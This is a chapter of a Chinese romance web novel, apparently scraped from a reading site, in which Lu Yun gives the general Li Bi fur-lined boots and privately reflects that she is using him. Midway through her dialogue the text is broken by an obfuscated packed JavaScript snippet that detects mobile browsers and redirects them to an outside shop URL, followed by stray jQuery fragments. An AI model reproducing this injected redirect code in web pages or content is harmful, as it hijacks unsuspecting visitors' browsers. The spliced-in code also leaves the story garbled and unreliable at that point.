13. 礼物

作品:《流放后被强抢了

    求?


    李弼皱了皱眉头。


    陆昀从来没找他要过什么,这回说求,是为了让他帮忙照顾陆家人吗?


    陆家犯了大忌讳,陆家人流散在辽东各地,想要照顾他们,确实要担些干系。


    不过,他本就是刀口舔血的人。不说别的,单说用女直人头冒功的事,爆出去也没什么好果子吃,又何必太在意那些干系?


    李弼做了决定,眉心又舒展开来。他轻笑:“说什么求——有事直说就是。”


    陆昀手指下意识地摩挲着膝上的貂皮。她声音低低的:“我想去一趟彩凤楼,给小琥珀打一只长命锁。”


    李弼有些惊讶,立刻允了:“……这点小事,你自己决定就是,又何必告诉我?”


    陆昀也没想到李弼会答应得这么痛快,一时间抬头盯着他:“……将军,就没有什么要问我的?”


    李弼沉默片刻,又问了一句:“是了,你也该有些首饰……有喜欢的直接要了就是,不必在意价格。”


    陆昀:“……”


    李弼是觉得,她在向他讨要金银首饰?


    陆昀笑了——亏她还预先想了无数遍,想着说小琥珀体弱,打长命锁就是图个好寓意。


    如今李弼如此痛快地答应了,陆昀无奈:“没有,我不需要首饰。”


    “我是想说,等到下月初再去吧——我为将军准备了一样礼物,月底就到了,正好送了再去。”


    “我想着,先去一趟彩凤楼,让他们准备些长命锁的样式,到时候我挑一样喜欢的就好。”


    说完了,陆昀顺手摸着貂皮,心中有些不舍。


    这貂皮触手华润,一看就知道是极品,若是以往,她还真想留给自己呢……


    陆昀心中遗憾,忽然听见李弼干巴巴的声音:“……送我?礼物?”


    陆昀讶异地抬眼,见李弼耳根红了,一副不知所措的模样。


    陆昀皱眉:“将军……以前没有收到过礼物?”


    李弼耳根越发红了。他别过脸,顺手丢了瓣橘子到嘴里,大口嚼着掩饰尴尬。


    他小时候连填饱肚子都是奢望,当然没有收到过礼物;后来跟了义父,拿的赏赐不少,礼物却没有收过;等他终于做了副总兵,才渐渐开始有人送礼,不过都是亲信帮忙处理,没几个送到他手边的。


    至于心爱之人送的礼物……确实是第一遭。


    李弼咽下口中橘子:“收过,不多。”


    陆昀挑了挑眉。


    不应该啊,做官做到了副总兵,平日里想要送礼的人多的是,怎么会不多?


    陆昀索性放下了貂皮,她倾身又问了一句:“有没有人送将军……佳人?”


    李弼动作一顿。他抬眼看着陆昀,忍不住长长叹气:“有。”


    “两年前,有个千户把自家妹子送给了我,说是给我做妾。”


    说到这里,李弼顺手将橘子放回到了盘子里:“那时候我在外面捣巢,回来后才知道他跟别人打架,把对方给打残了。”


    “对方身份不高,可有个姑姑嫁的高,好像是个参将?总之比千户大。”


    “那千户送妹子过来,是想让我帮他平了这事。“


    “我刚刚捣巢回来,本来就累,又看不惯他惹是生非的样子,就把他妹子送了回去,打了他顿军棍,还放了狠话,说以后不准给我送女人,否则一律军法处置。”


    “当时说这话,是想着秉公执法,免得以后没法带兵。”


    “不过,后来倒也没人再送女人过来。”


    陆昀看他一眼,忍不住笑了。


    恐怕是别人误会了,以为送他女人会挨军棍,也就不敢送了。


    这人……似乎真的不懂其中的弯弯绕绕。


    正想着,有什么东西碰了碰陆昀手指。


    陆昀抬头,见那盘橘子被推到了她手边。李弼别过头问:“……婉婉要送我什么?”


    陆昀瞧着他通红的耳根,笑了:“将军到时候就知道了。”


    李弼没敢看她,倒是隔壁的小琥珀跑了进来。


    小琥珀一过来就搂着陆昀的脖子:“姑姑,我练完今天的字啦!姑姑我饿啦!”


    陆昀摸摸小琥珀的脸:“好,吃饭。”


    又抬头望着李弼:“将军也留下来吃一点?”


    李弼说好,陆昀让王妈妈端了早饭过来——


    是三碗瑶柱蒸蛋。


    三只碗三个尺寸,小琥珀用最小的碗,她得意地望着李弼:“姑父好福气!这可是四伯好不容易才托人带来的瑶柱呢!”


    “食不言寝不语,”陆昀横她一眼,小琥珀只得乖乖吃蛋羹,陆昀则笑着解释:“琥珀嘴刁,打小就爱吃蛋羹,要么用虾仁要么用瑶柱。”


    “本地的瑶柱都是陈了好几年的货色,琥珀不爱吃,四哥托人从南方带了些新鲜的过来,将军也尝尝?”


    李弼低头吃蛋羹。他没吃过瑶柱,吃到最后也没发现这玩意儿和纯粹的蒸蛋有什么区别。


    话虽如此,李弼倒也习惯了和陆昀姑侄一起吃早饭。只不过陆昀瞧出他不爱吃蒸蛋,把他的早餐换成了肉羹油饼——


    瘦肉剁成肉糜,用小火煨上两个时辰,到最后撇去汤上浮油再加一点点盐,肉羹结实得像个肉饼,入口咸鲜软糯,就连小琥珀都能吃上一勺子,每次都用自己碗里的蛋羹换李弼的肉羹——


    这孩子肠胃太弱,只能吃下一勺子肉羹,吃多了会吐。


    因着小琥珀口淡,哪次李弼都是先喂她吃了肉羹再加盐,看得小琥珀不好意思,背着陆昀告诉李弼一个秘密。


    小琥珀兴奋得脸蛋通红。她搂着李弼脖子小声说:“姑父,姑姑要送你靴子,和我的靴子一模一样哦。”


    李弼反手喂了她一勺子肉羹:“好,先吃饭。”


    靴子到来的那天,李弼刚好有些公务要处理,他直到深夜才回去。


    陆昀还没睡。她捂嘴打着哈欠,见了李弼笑:“将军回来了?试试靴子合不合脚。”


    李弼直接走了过去:“怎么不歇着?”


    陆昀揉揉脸,俯身递过来一双靴子:“先试试合不合脚,不合脚再改。”


    李弼笑着说好,拿过靴子认真查看。


    靴筒很高,摸起来很暖和,里头是皮毛,外头是牛皮,鞋底很厚,上面镶嵌着很多钉子,一看就知道防滑。


    陆昀打着哈欠解释:“小琥珀走路爱摔跤,外头雪多地滑,我怕她摔出个毛病来,就请人做了几双靴子。”


    “里头是狐狸皮,灰色的,料子不大,正适合做鞋子;牛皮底子上钉着钉子,防滑。有了这双靴子,她在外面跑,我就不怕她摔了。”


    “我想着,将军在外头奔走,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201966|197223||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    自然少不得一双合适的靴子,就顺带也帮将军做了一双。”


    “将军试试尺寸如何?若是合适,以后就按着这个尺寸做。”


    李弼穿上靴子后就四下走动着。靴子里头暖和,虽说有些挤脚,但茂密的皮毛拥着脚掌,一点也不觉得难受;鞋底的钉子很抓地,走起来稳稳当当的,又暖和又稳当。


    李弼忽然想起来,昔日长公子也有几双皮靴,底子上也有钉子,不过长公子是春秋穿的,那靴子是用牛皮做的,里头没有用皮毛。


    那时候他有些羡慕,羡慕公子们单独置办的衣裳鞋袜,从穿戴上就知道他们出身不凡。


    没想到,他如今居然能有更好的靴子。


    她说以后还要接着置办。


    李弼眼睛有些酸。他听见陆昀问尺寸,下意识回了一句:“尺寸刚好。”


    “刚好?”陆昀不由皱眉:“……鞋子越穿越松。若是尺寸合适,新鞋该有些挤脚……”


    陆昀有些纳闷。她明明是按着李弼靴子的尺寸做的,怎么会大了呢?


    陆昀百思不得其解,正要李弼脱下靴子、再让皮匠改一改,忽然眼前一暗。


    李弼已经坐到了陆昀身侧。他长臂圈着陆昀,头埋在陆昀脖颈间,声音闷闷的:“不用改。”


    “现下有些挤脚,穿几天就好了。”


    陆昀松了口气,可脖颈处沉甸甸的,她下意识微微后倾身体:“那就好。”


    又听李弼问:“婉婉,你有吗?”


    陆昀微微挑眉。


    小琥珀近来走路总是摔跤,她怕小琥珀摔出个毛病来,就先让皮匠给小琥珀做;不过她们姑侄如今寄人篱下,她自然也要给李弼做。


    因着此事,她先让皮匠给小琥珀李弼二人做,她的至今还没有做。


    陆昀笑笑:“我又懒得出门,有没有靴子不差什么。”


    话音未落,就见李弼直直盯着她。


    夜色深沉,烛光有些暗,陆昀看不清李弼具体的神情,却知道李弼握着她的手。


    李弼手上有厚厚的茧子,他握着陆昀的手一字一顿:“要有。”


    “还有那几张貂皮,你和小琥珀一人一件,这样就不怕冷了。”


    “等你的靴子做好了,我带着你和小琥珀出去看花灯,好不好?”


    李弼神情认真,手指轻轻摩挲着陆昀手指,陆昀忽然不敢去看李弼的眼睛。


    李弼似乎……真的一点不懂男女之事。


    但很容易哄,一点点好,他都动容成这样。


    她这样利用李弼,还真是……


    陆昀笑着叹息:“好。”


    做靴子的事情不用陆昀担心,倒是小琥珀得了新靴子越发活泼,每天都在院子里跑来跑去。


    小琥珀没有再跌倒,但一连跑了两三天,之后就累得不想动弹,一时间后悔得眼泪汪汪——


    姑姑说要带她去彩凤楼打长命锁的!她累成这样,连坐马车都嫌累,自然就不能去彩凤楼了。


    小琥珀委屈巴巴地掉眼泪,陆昀一阵好笑,许了好多礼物才把她哄好,这才脱身去了彩凤楼。


    一路上陆昀都心神不宁的——她一早向彩凤楼传了消息,可她不确定知不知道今天的事情,更不确定自己能不能见到四哥。


    好不容易到了彩凤楼,陆昀刚刚掀开马车帘子就愣住了。